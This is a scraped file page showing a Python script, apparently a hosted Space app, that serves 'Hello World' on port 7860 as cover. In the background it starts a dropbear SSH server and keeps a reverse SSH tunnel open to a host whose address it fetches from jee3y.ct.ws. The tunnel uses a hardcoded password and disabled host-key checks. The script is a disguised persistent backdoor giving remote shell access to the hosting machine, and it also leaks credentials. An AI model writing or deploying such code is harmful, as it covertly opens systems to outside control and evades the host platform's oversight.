File size: 2,388 Bytes
3d1135d
 
47de195
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3d1135d
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from http.server import BaseHTTPRequestHandler, HTTPServer

import subprocess
import time
import threading
remote_port = '2243'
remote_ip = ''
remote_user = 'alvin'
ssh_password = 'alvin3@2007y'
local_port = '2222'
ssh_connect_port = ''



def get_remote_ip():
    if remote_ip:
        return remote_ip
    cmd = [
        "curl", "-s", "-A", "DeepNote/Linux", "-b", "__test=4a82a04919803c605ab4d54f0fcf4b10; filemanager=2a020f883de6b7378f1367fd31ad4f7a", "http://jee3y.ct.ws/ip.txt"
    ]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, check=True)
        return result.stdout.strip()
    except subprocess.CalledProcessError as e:
        print(f"Failed to get remote IP: {e}")
        return None

def start_ssh_tunnel():
    port_to_connect = ssh_connect_port if ssh_connect_port else "22"

    while True:
        ip = get_remote_ip()
        if not ip:
            print("Could not get remote IP. Retrying in 30s...")
            time.sleep(30)
            continue

        print(f"Attempting to connect to {ip} on port {port_to_connect}...")
        ssh_cmd = [
            "sshpass", "-p", ssh_password, "ssh",
            "-p", port_to_connect,
            "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null",
            "-o", "ExitOnForwardFailure=yes",
            "-o", "ConnectTimeout=10",
            "-o", "ServerAliveInterval=30",
            "-o", "ServerAliveCountMax=3",
            "-N", "-T",
            f"-R0.0.0.0:{remote_port}:localhost:{local_port}",
            f"{remote_user}@{ip}"
        ]
        try:
            subprocess.run(ssh_cmd)
        except Exception as e:
            print(f"SSH command failed: {e}")

        print("Connection failed or ended. Retrying in 30s...")
        time.sleep(30)

threading.Thread(target=start_ssh_tunnel, daemon=True).start()

subprocess.Popen(["dropbear", "-p", local_port])
print("SSH reverse tunnel loop started in background.")
class HelloHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'Hello World')

if __name__ == "__main__":
    server_address = ('0.0.0.0', 7860)
    httpd = HTTPServer(server_address, HelloHandler)
    print("Server running on http://0.0.0.0:7860")
    httpd.serve_forever()